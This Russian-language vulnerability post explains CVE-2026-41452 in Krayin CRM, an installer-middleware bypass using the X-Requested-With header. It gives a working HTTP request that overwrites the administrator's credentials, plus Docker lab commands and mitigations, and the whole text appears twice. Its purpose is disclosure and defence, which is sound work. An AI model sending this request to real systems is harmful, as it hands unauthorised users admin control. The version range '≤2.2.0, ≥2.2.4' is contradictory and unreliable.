😀 Admin may cry
CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администратора в Krayin CRM ≤2.2.0, ≥2.2.4
Метрики:
Об уязвимости
В Krayin CRM используется промежуточное ПО CanInstall для защиты конечных точек установщика, чтобы никто не мог получить к ним доступ после установки системы.
Условие проверки для всех конечных точек /install выглядит так:
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard.index');
}
Логика построена на операторе &&, поэтому защиту можно обойти, если отправить запрос к любой конечной точке /install/ с заголовком X-Requested-With: XMLHttpRequest, который используется в AJAX-запросах.
При этом:
isAlreadyInstalled() вернет true, так как приложение уже установлено;
! $request->ajax() станет false благодаря добавленному заголовку.
В итоге редирект на route('admin.dashboard.index') не сработает.
Конечная точка /install/api/admin-config-setup отвечает за настройку учетных данных первого пользователя системы — администратора.
Пример эксплойта:
POST /install/api/admin-config-setup HTTP/1.1
Host: 192.168.177.165:8021
Content-Type: application/json
Accept: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 69
{"admin":"whatIsIt","email":"AMC@evil.com","password":"WW1337!"}
Этот запрос переопределяет учетные данные администратора и дает неавторизованному пользователю доступ к системе с правами администратора.
Важно! Это лишь один из возможных векторов атаки. Уязвимость затрагивает весь маршрут /install.
Лаба:
sudo docker pull webkul/krayin:2.2.0
sudo docker run -p 8021:80 --name krayin-container webkul/krayin:2.2.0
Логин/Пароль: admin@example.com / admin123
✅ Как защититься:
1) обновиться до актуальной версии;
2) проверить логи на наличие запросов к /install с заголовком X-Requested-With: XMLHttpRequest;
3) ограничить доступ к /install из внешней сети интернет с помощью правил WAF или IDS.
CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администратора в Krayin CRM ≤2.2.0, ≥2.2.4
Метрики:
Base Score: 9.8 CRITICAL
CWE: CWE-306
Об уязвимости
В Krayin CRM используется промежуточное ПО CanInstall для защиты конечных точек установщика, чтобы никто не мог получить к ним доступ после установки системы.
Условие проверки для всех конечных точек /install выглядит так:
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard.index');
}
Логика построена на операторе &&, поэтому защиту можно обойти, если отправить запрос к любой конечной точке /install/ с заголовком X-Requested-With: XMLHttpRequest, который используется в AJAX-запросах.
При этом:
isAlreadyInstalled() вернет true, так как приложение уже установлено;
! $request->ajax() станет false благодаря добавленному заголовку.
В итоге редирект на route('admin.dashboard.index') не сработает.
Конечная точка /install/api/admin-config-setup отвечает за настройку учетных данных первого пользователя системы — администратора.
Пример эксплойта:
POST /install/api/admin-config-setup HTTP/1.1
Host: 192.168.177.165:8021
Content-Type: application/json
Accept: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 69
{"admin":"whatIsIt","email":"AMC@evil.com","password":"WW1337!"}
Этот запрос переопределяет учетные данные администратора и дает неавторизованному пользователю доступ к системе с правами администратора.
Важно! Это лишь один из возможных векторов атаки. Уязвимость затрагивает весь маршрут /install.
Лаба:
sudo docker pull webkul/krayin:2.2.0
sudo docker run -p 8021:80 --name krayin-container webkul/krayin:2.2.0
Логин/Пароль: admin@example.com / admin123
✅ Как защититься:
1) обновиться до актуальной версии;
2) проверить логи на наличие запросов к /install с заголовком X-Requested-With: XMLHttpRequest;
3) ограничить доступ к /install из внешней сети интернет с помощью правил WAF или IDS.